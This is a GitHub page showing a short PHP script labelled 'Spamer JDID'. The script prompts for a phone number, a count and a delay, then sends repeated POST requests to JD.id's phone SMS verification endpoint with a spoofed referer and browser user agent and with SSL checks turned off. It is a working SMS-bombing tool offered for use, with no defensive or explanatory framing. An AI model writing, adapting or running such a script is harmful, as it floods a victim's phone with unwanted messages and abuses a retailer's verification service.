-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathid.php
34 lines (34 loc) · 1.17 KB
/
id.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
function jdidbom($no, $jum, $wait){
$x = 0;
while($x < $jum) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://sc.jd.id/phone/sendPhoneSms");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"phone=".$no."&smsType=1");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_REFERER, 'http://sc.jd.id/phone/bindingPhone.html');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
$server_output = curl_exec ($ch);
curl_close ($ch);
echo $server_output."\n";
sleep($wait);
$x++;
flush();
}
}
echo "\033[1;32m
+---------[Spamer JDID]----------+
Input : \n";
echo " [*] Nomor => ";
$nomor = trim(fgets(STDIN));
echo " [*] Jumlah => ";
$jumlah = trim(fgets(STDIN));
echo " [*] Delay => ";
$jeda = trim(fgets(STDIN));
$execute = jdidbom($nomor, $jumlah, $jeda);
print $execute;
?>